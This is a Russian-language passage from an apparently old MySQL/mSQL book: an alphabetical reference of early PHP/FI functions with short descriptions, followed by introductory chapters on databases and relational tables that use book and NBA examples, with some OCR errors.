    Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastemail

    $email = getlastemail();

    Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlasthost

    $host = getlasthost();

    Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getiastmod

    $time = getlastmod();

    Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastref

    $url = getlastref();

    Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlogdir

    $directory = getlogdir();

    Возвращает каталог, в котором находятся журналы регистрации РНР.

    get my in ode

    $inode = getmyinode();

    Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

    getmypid

    $pid = getmypid();

    Возвращает идентификатор текущего РНР-процесса.

    getmyuid

    $id = getmyuid();

    Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

    getrandmax

    $number = getrandmax();

    Возвращает максимально возможное число, которое может вернуть функция rand.

    getstartlogging

    $time = getstartlogging();

    Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

    gettoday

    $hits = gettoday();

    Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

    gettotal

    $hits = gettotal();

    Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.


    gettype

    $type = gettype($variable);

    Возвращает одно из следующих значений: "integer", "double" или "string", указывающих на тип заданной переменной variable .

    gmdate

    $formatted_date = gmdate($format, $time);

    Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

    header

    header($header_string);

    Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

    hexdec

    $decimal = hexdec($hex);

    Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

    htmlspecialchars

    $html_string = htmlspecialchars($string);

    Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

    imagearc

    imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

    Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

    imagechar

    imagechar($image, $size, $x, $y, $character, $color);

    Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

    imagecharup

    imagecharup($image, $size, $x, $y, $character, $color);

    Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

    imagecolorallocate

    $color = imagecolorallocate($image, $red, $green, $blue);

    Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

    imagecolortransparent

    imagecolortransparent($image, $color);

    Устанавливает color как прозрачный цвет для изображения image.

    imagecopyresized


    imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

    Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

    imagecreate

    $image = imagecreate($width, $height);

    Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

    imagecreatefromgif

    $image = imagecreatefromgif($filename);

    Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

    imagedestroy

    imagedestroy($image);

    Освобождает все ресурсы, занятые image.

    imagefill

    imagefill($image, $х, $у, $color);

    Выполняет заливку изображения image цветом color, начиная с точки (х,у).

    imagefilledpolygon

    imagefilledpolygon($image, $points_array, $num_points, $color);

    Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

    imagefilledrectangle

    imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

    Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

    imagefilltoborder

    imagefilltoborder($image, $x, $y, $border, $color);

    Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

    imagegif

    imagegif($image);

    imagegif($image, $filename);

    Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.


    imageinterlace

    imageinterlace($image, $interlace);

    Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

    imageline

    imageline($iraage, $х1, $у1, $х2, $у2, $color);

    Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

    imagepolygon

    imagepolygon($image, $points, $numpoints, $color);

    Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

    imagerectangle

    imagerectangle($image, $х1, $у1, $х2, $у2, $color);

    Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

    imagesetpixel

    imagesetpixel($image, $x, $y, $color);

    Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

    imagestring

    imagestring($image, $size, $x, $y, $string, $color);

    Функция идентична imagechar за исключением того, что она выводит всю строку string.

    imagestring up

    imagestringup($image, Ssize, $x, $y, $string, $color);

    Функция идентична imagecharup за исключением того, что она выводит всю строку string.

    imagesx

    $x_size = imagesx($image);

    Возвращает ширину в пикселах изображения, указанного в image.

    imagesy

    $y_size = imagesy($image);

    Возвращает высоту изображения в пикселах.

    include

    include($filename);

    Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

    initsyslog

    initsyslog();

    Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

    intval

    $integer = intval($variable);

    Возвращает содержимое variable в виде целого числа.

    isset

    $defined = isset($variable);

    Возвращает 1, если переменная variable определена, иначе вернет 0.

    key

    $key = key($array);


    Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

    link

    link($target, $filename);

    Создает жесткую ссылку от filename к target.

    linkinfo

    $info = linkinfo($filename);

    Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

    log

    $result = log($number);

    Возвращает натуральный логарифм аргумента number.

    log10

    $result = Iog10($number);

    Возвращает логарифм по основанию 10 аргумента number.

    logas

    logas($filename);

    Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

    mail

    mail($to, $subject, $message);

    mail($to, $subject, $message, $headers);

    Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

    max

    $maximum = max($array);

    Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

    md5

    $hash = md5($string);

    Возвращает хэш (MD5) строки string .

    microtime

    $ms = microtime();

    Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

    min

    $minimum = min($array);

    Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

    mkdir

    mkdir($directory, $mode);

    Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

    mktime

    $time = mktime($hour,$minute,$second,$month,$day, Syear);

    Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).


    msql mysql

    $result = msql($database, $query);

    $result = mysql($database, $query);

    Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

    my sql_af f ected_ro ws

    $num_rows = mysql_affected_rows();

    Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

    msql_close mysql_close

    msql_close(); mysql_close();

    Закрывает подключение к серверу базы данных mSQL/MySQL.

    msql_connect mysql_connect

    msql_connect($hostname);

    mysql_connect($hostname);

    mysql_connect($hostname, Susername);

    mysql_connect($hostname, $username, Spassword);

    Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

    msql_createdb mysql_createdb

    msql_createdb($database); mysql_createdb($database);

    Создает указанную базу данных.

    msql_dbname mysql_dbname

    $db = msql_dbname($result, $i);

    $db = mysql_dbname($result, $i);

    Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

    msql_dropdb mysql_dropdb

    msql_dropdb($database);

    mysql_dropdb($database);

    Удаляет базу данных database и все ее таблицы.

    msqHieldflags mysql_fieldflags

    $flags = msql_fieldflags($result, $i);

    $flags = mysql_fieldflags($result, $i);


    Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: "primary key", "not null", "not null primary key" или << >>.

    msql_fieldlen mysql_fieldlen

    $length = msql_fieldlen($result, $i);

    $length = mysql_fieldlen($result, $i);

    Возвращает длину i-го поля в result.

    msql_fieldname mysql_fieldname

    $name = msql_fieldname($result, $i);

    $name = mysql_fieldname($result, $i);

    Возвращает имя столбца i-го поля в result .-

    msql_fieldtype mysql_fieldtype

    $type = msql_fieldtype($result, $i);

    $type = mysql_fieldtype($result, $i);

    Возвращает тип i-го поля в result (то есть "char", "real" и т. д.).

    msql_freeresult mysql_freeresult

    msql_freeresult($result);

    mysql_freeresult($result);

    Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

    mysql_insertjd

    $id_num = mysql_insert_id();

    Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

    msql_listdbs mysql_listdbs

    $result = msql_listdbs();

    $result = mysql_listdbs();

    Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

    msql_listfields mysql_listfields

    $result = msql_listfields($database, $table);

    $result = mysqllistfields($database, $table);

    Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

    msql_isttables mysql_listtables

    $result = msql_listtables($database);

    $result = mysql_listtables($database);

    Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.


    msql_numfields mysql_numfields

    $num_fields = msql_numfields($result);

    $nuni_fields = mysql_numfields($result);

    Возвращает число полей в result.

    msql_nurn rows msql_numrows

    $num_rows = msql_numrows($result);

    $num_rows = mysql_numrows($result);_

    Возвращает количество записей в result.

    msql_regcase

    $new_string = msql_regcase($string);

    Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

    msql_result mysql_result

    $result_string = msql_result($result, $i, $field);

    $result_string = mysql_result($result, $1, $field);

    Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

    msqljtablename mysql_tablename

    $name = msql_tablename($result, $i);

    $name = mysql_tablename($result, $i);

    Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

    next

    next($array);

    Перемещает указатель массива array на следующий элемент и возвращает текущий.

    octdec

    $decimal = octdec($octal);

    Возвращает десятичный эквивалент восьмеричного аргумента octal.

    opendir

    opendir($directory);

    Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

    openlog

    openlog($ident, $options, $facllity);

    Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).


    ord

    $number = ord($character);

    Возвращает ASCII-значение символа character.

    parse_str

    parse_str($string);

    Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

    passthru

    passthru($command);

    passthru($command, $returevalue);

    Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

    pclose

    pclose($fd);

    Закрывает канал, открытый функцией рореп.

    phpinfo

    phpinfo();

    Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении "?info" к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php).

    phpversion

    $version = phpversion();

    Возвращает номер версии текущего запущенного РНР.

    popen

    $fd = popen($command, $mode);

    Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = "w"), либо читает данные из команды (если в mode указать "r"). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

    pos

    $position = pos($array['element']);

    Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

    pow

    $result = pow($x, $y);

    Возвращает х, возведенное в степень у.

    prev

    Selement = prev($array);

    Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

    putenv

    putenv($string);

    Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

    quote met a

    $quoted_string = quotemeta($string);


    Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

    rand

    $number = rand();

    Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

    readdir

    $file = readdir();

    Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

    readfile

    $filesize = readfile($filename);

    Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

    readlink

    $filename = readline($link);

    Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

    reg_match

    $result = reg_match($expression, $string);

    $result = reg_match($expression, $string, $array);

    Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_replace

    reg_replace($expression, $replacement, $string);

    Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_search

    $partial_string = reg_search($expression, $string);

    $partial_string = reg_search($expression, $string, $array);

    Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    rename

    rename($oldfile, $newfile);

    Переименовывает oldfile в newfile .

    reset

    reset($array);

    Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.


    return

    return($value);

    Выходит из пользовательской функции и возвращает значение value.

    rewind

    rewind($fd);

    Устанавливает указатель файла f d в начало файла.

    rewinddir

    rewinddir();

    Передвигает указатель текущего каталога на начало каталога.

    rmdir

    rmdir($directory);

    Удаляет каталог directory , если он пуст.

    rsort

    $sorted_array = rsort($array)

    Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    setcookie

    setcookie($name);

    setcookie($name, $value, $expire, $path, $domain, $secure);

    Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

    seterrorreporting

    seterrorreporting($value);

    Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

    setlogging

    setlogging($value);

    Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

    setshowinfo

    setshowinfo($value);

    Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

    settype

    settype($variable, $type);

    Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

    shl

    $value = shl($number, $b);

    Возвращает значение number, сдвинутое влево на заданное в b число бит.

    shr

    $value = shr($number, $b);

    Возвращает значение number, сдвинутое вправо на заданное в b число бит.

    sin

    $value = sin($number);

    Возвращает синус аргумента number (в радианах).

    sleep

    sleep($seconds);

    Останавливает обработку страницы на указанное количество секунд.

    sort

    $sorted_array = sort($array)

    Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.


    soundex

    $soundex_key =soundex($string);

    Возвращает ключ soundex строки string .

    sprintf

    $string = sprintf($format, $arg, [$arg, $arg, ...]);

    Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

    sqrt

    $value = sqrl($number);

    Возвращает квадратный корень числа number.

    srand

    srand($integer);

    Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

    strchr strstr

    $substring = strchr($string, $value);

    $substring = strstr($string, $value); .

    Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

    strtr

    strtr($string, $set1, $set2);

    Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для "лишних" символов из set1. Если set2 длиннее set1, "лишние" символы из set2 игнорируются.

    stripslashes

    $plain_string = stripslashes($escaped_string);

    Удаляет все управляющие символы из строки escaped_string .

    strlen

    $length = strlen($string);

    Возвращает длину строки string .

    strrchr

    $substring = strrchr($string, $character);

    Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

    strtok

    $substring = strtok($string, $characters);

    $substring = strtok($characters);

    Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .


    strtolower

    $lc_string = strtolower($string);

    Возвращает string , где все символы преобразованы в символы нижнего регистра.

    strtoupper

    $uc_string = strtoupper($string);

    Возвращает string , где все символы преобразованы в символы верхнего регистра.

    strval

    $string = strval($variable);

    Возвращает переменную variable в виде строкового значения.

    substr

    $substring = substr($string, $start, Slength);

    Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

    symlink

    symlink($target, $filename);

    Создает символическую связь (ссылку) от filename к target.

    syslog

    syslog($level, $message);

    Записывает сообщение message в системный журнал с уровнем level.

    system

    $results = system($command);

    $results = system($command, $return_value);

    Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

    tan

    $value = tan($number);

    Возвращает тангенс аргумента number (в радианах).

    tempnam

    $filename = tempnam($path, $prefix);

    Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

    time

    $time = time();

    Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

    umask

    $umask = umask();

    umask($umask);

    Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

    uniqid

    $result = uniqid();

    Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

    unlink

    unlink($filename);

    Удаляет указанный файл.

    unset

    unset($variable);

    Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

    urldecode

    $decoded_string = urldecode($string);

    Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

    urlencode

    $encoded_string = urlencode($string);

    Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

    usleep

    usleep($ms);

    Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

    virtual

    virtual($filename);

    Подключает файл filename точно так же, как в обычном файле HTML это делает тег MySQL & mSQL

    MySQL & mSQL

    Что такое база данных?

    База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

    У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

    У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

    здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

    MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

    Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.



    Что такое реляционная база данных?

    Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

    Таблица 1-1. Таблица книг



    ISBN


    Название


    Автор


    0-446-67424-9
    0-201-54239-Х
    0-87685-086-7
    0-941423-38-7


    L.A. Confidential
    An Introduction to Database Systems
    Post Office
    The Man with the Golden Arm


    James Ellroy
    C.J. Date
    Charles Bukowski
    Nelson Algren


    В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

    Таблица 1-2. Таблица команд НБА



    № команды


    Название


    Тренер


    1


    Golden State Warriors


    P.J. Carlesimo


    2


    Minnesota Timberwolves


    Flip Saunders


    3


    L.A. Lakers


    Kurt Rambis


    4


    Indiana Pacers


    Larry Bird



    Таблица 1-3. Таблица игроков НБА



    Имя


    Положение


    № команды


    Rik Smits


    Центровой


    4


    Kevin Garnett


    Нападающий


    2


    Kobe Bryant


    Защитник


    3


    Reggie Miller


    Защитник


    4


    Stephen Marbury


    Защитник


    2


    Shaquille O'Neal


    Центровой


    3


    Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

    СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

    Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.



    в течение многих лет используют

    Введение в реляционные базы данных


    Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

    Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

    Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

    Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

    ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, "MySQL" или главе 5, "mSQL", где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.



    MySQL и mSQL

    MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

    Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

    История mSQL

